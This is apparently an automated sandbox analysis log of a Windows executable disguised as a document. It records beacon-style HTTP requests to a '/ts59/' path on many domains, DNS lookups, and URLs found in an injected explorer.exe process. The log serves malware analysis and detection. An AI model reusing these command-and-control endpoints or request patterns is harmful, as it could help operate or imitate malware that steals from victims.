          Source: global trafficHTTP traffic detected: GET /ts59/?7n=CMI3XAkyIIc+lbzQFM0yBiMxIQj45W/6BGDFfPoe8SD5h+4DN1QfAHIl1f4AVZ60VX6NCS7/mA==&2d8=3fe8kxnx8zVX-2L HTTP/1.1Host: www.lostaino.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: Joe Sandbox ViewIP Address: 52.86.6.113 52.86.6.113
          Source: Joe Sandbox ViewIP Address: 52.86.6.113 52.86.6.113
          Source: Joe Sandbox ViewIP Address: 192.0.78.25 192.0.78.25
          Source: Joe Sandbox ViewASN Name: AMAZON-AESUS AMAZON-AESUS
          Source: Joe Sandbox ViewASN Name: AUTOMATTICUS AUTOMATTICUS
          Source: Joe Sandbox ViewASN Name: AMAZON-02US AMAZON-02US
          Source: Joe Sandbox ViewASN Name: TEAMINTERNET-ASDE TEAMINTERNET-ASDE
          Source: Joe Sandbox ViewASN Name: SQUARESPACEUS SQUARESPACEUS
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DF25E2 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,0_2_00DF25E2
          Source: global trafficHTTP traffic detected: GET /ts59/?7n=6XBHEvjpc5M3V6LIfIX8DkkGcsaew2r6P99WVPRIfudOyKrWJ/Ql+0StQIWY9mDv/yxfQ54Ieg==&2d8=3fe8kxnx8zVX-2L HTTP/1.1Host: www.cn-brand.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /ts59/?7n=mlngg5Tq8mAbovLDpSTQPdURm3XRXD2izxcBP0x82yVhlreLb+x9gDDmRHWXZVcg0gqB6qNybQ==&2d8=3fe8kxnx8zVX-2L HTTP/1.1Host: www.asmauardotreschicshoes.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /ts59/?7n=axrGY/tHsVnNl5QwUQiA9FSVXiVl+cKu3zfjN+PR7I9fZgnn7wX4yTtY89Vmc3+NwxjOyoKz1w==&2d8=3fe8kxnx8zVX-2L HTTP/1.1Host: www.femininequantumflowcoach.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /ts59/?7n=/870L+f5uYuMeX+RQ7xUOiQTdWqbXz9Ki2XQMm/qjwY6yFcouCApqHiIgf95TupcdCgvNrXz6Q==&2d8=3fe8kxnx8zVX-2L HTTP/1.1Host: www.zangbreaker.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /ts59/?7n=Q0rerqlMM+Mzf1m4EVXcVVXnMVAfvTa9yYuOwxw9IZ3XTRGu1uzNDOvhppaUL+BqZnD0gHwuuw==&2d8=3fe8kxnx8zVX-2L HTTP/1.1Host: www.babyscan.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /ts59/?7n=5Kzuc08NHZ8t10osRye94ZQvODLPm8mJty646c/dpAg/zLZpW1bo0yg/pue6LIfdumZDuAZHWw==&2d8=3fe8kxnx8zVX-2L HTTP/1.1Host: www.scarytube.worldConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /ts59/?7n=cK9IFJet6pmJE86ae8KOHfirNs8pECX6NYxzkQ3MXT6vCvPIzrd8O4FQURVhV/WvD5THDom2OA==&2d8=3fe8kxnx8zVX-2L HTTP/1.1Host: www.robottts.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /ts59/?7n=mB8uG6w8zpafFuNLwvQmLBNoWWmhhT+Pa5pMyx7Kkg5PpWq+xUX3NBFKVo2JmSZYGQcG7mEBYw==&2d8=3fe8kxnx8zVX-2L HTTP/1.1Host: www.gb-electric-wheelchairs-8j.bondConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /ts59/?7n=CMI3XAkyIIc+lbzQFM0yBiMxIQj45W/6BGDFfPoe8SD5h+4DN1QfAHIl1f4AVZ60VX6NCS7/mA==&2d8=3fe8kxnx8zVX-2L HTTP/1.1Host: www.lostaino.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficDNS traffic detected: DNS query: time.windows.com
          Source: global trafficDNS traffic detected: DNS query: www.cn-brand.com
          Source: global trafficDNS traffic detected: DNS query: www.asmauardotreschicshoes.com
          Source: global trafficDNS traffic detected: DNS query: www.femininequantumflowcoach.com
          Source: global trafficDNS traffic detected: DNS query: www.wizardatm.com
          Source: global trafficDNS traffic detected: DNS query: www.zangbreaker.com
          Source: global trafficDNS traffic detected: DNS query: www.babyscan.xyz
          Source: global trafficDNS traffic detected: DNS query: www.scarytube.world
          Source: global trafficDNS traffic detected: DNS query: www.robottts.com
          Source: global trafficDNS traffic detected: DNS query: www.gb-electric-wheelchairs-8j.bond
          Source: global trafficDNS traffic detected: DNS query: www.lostaino.com
          Source: global trafficDNS traffic detected: DNS query: www.modleavedepts.online
          Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 01 Jul 2024 13:29:30 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4514Connection: closeX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Mon, 01 Jul 2024 13:29:45 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6HtJyd%2Bvz2%2F3a0dF9fXmG6o9he9firTEuMYsDco1AoWWycrEkIXplX47vWYl43fhfRrcZco4ffTEQRvbkk9QywI5EJytBkul4RumcI14FWQDYKiFWXIYzHdUmXPtRIfy7o96tan3DNtmCyFgSZL0hg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}Server-Timing: cfRequestDuration;dur=7.999897X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffX-Permitted-Cross-Domain-Policies: noneX-Download-Options: noopenServer: cloudflareCF-RAY: 89c6becfcb3e43ac-EWRalt-svc: h3=":443"; ma=86400Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 Data Ascii: <!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! | Cloud
          Source: explorer.exe, 00000003.00000000.1377287114.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3813475004.000000000730B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3074348658.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2273284705.000000000730A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272115538.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3816237958.0000000008F83000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
          Source: explorer.exe, 00000003.00000000.1377287114.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3813475004.000000000730B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3074348658.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2273284705.000000000730A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272115538.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3816237958.0000000008F83000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
          Source: explorer.exe, 00000003.00000000.1377287114.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3813475004.000000000730B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3074348658.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2273284705.000000000730A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272115538.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3816237958.0000000008F83000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
          Source: explorer.exe, 00000003.00000000.1377287114.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3813475004.000000000730B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3074348658.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2273284705.000000000730A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272115538.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3816237958.0000000008F83000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
          Source: explorer.exe, 00000003.00000002.3815542294.0000000008820000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000002.3814662629.0000000007C70000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1376904113.0000000008810000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://schemas.micro
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.asmauardotreschicshoes.com
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.asmauardotreschicshoes.com/ts59/
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.asmauardotreschicshoes.com/ts59/www.texhio.online
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.asmauardotreschicshoes.comReferer:
          Source: explorer.exe, 00000003.00000000.1379885909.000000000C3F7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.autoitscript.com/autoit3/J
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.babyscan.xyz
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.babyscan.xyz/ts59/
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.babyscan.xyz/ts59/www.scarytube.world
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.babyscan.xyzReferer:
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.cn-brand.com
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.cn-brand.com/ts59/
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.cn-brand.com/ts59/www.asmauardotreschicshoes.com
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.cn-brand.comReferer:
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.femininequantumflowcoach.com
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.femininequantumflowcoach.com/ts59/
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.femininequantumflowcoach.com/ts59/www.wizardatm.com
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.femininequantumflowcoach.comReferer:
          Source: explorer.exe, 00000003.00000000.1375368578.00000000071B2000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.foreca.com
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.gb-electric-wheelchairs-8j.bond
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.gb-electric-wheelchairs-8j.bond/ts59/
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.gb-electric-wheelchairs-8j.bond/ts59/www.lostaino.com
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.gb-electric-wheelchairs-8j.bondReferer:
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.kgstrengthandperformance.com
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.kgstrengthandperformance.com/ts59/
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.kgstrengthandperformance.com/ts59/www.redseadivingadventure.com
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.kgstrengthandperformance.comReferer:
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.lostaino.com
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.lostaino.com/ts59/
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.lostaino.com/ts59/www.modleavedepts.online
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.lostaino.comReferer:
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.modleavedepts.online
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.modleavedepts.online/ts59/
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.modleavedepts.online/ts59/www.kgstrengthandperformance.com
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.modleavedepts.onlineReferer:
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.qjjkxi260l.top
          Source: explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.qjjkxi260l.top/ts59/
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.qjjkxi260l.topReferer:
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.redseadivingadventure.com
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.redseadivingadventure.com/ts59/
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.redseadivingadventure.com/ts59/www.ssweatstudio.com
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.redseadivingadventure.comReferer:
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.robottts.com
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.robottts.com/ts59/
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.robottts.com/ts59/www.gb-electric-wheelchairs-8j.bond
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.robottts.comReferer:
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.scarytube.world
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.scarytube.world/ts59/
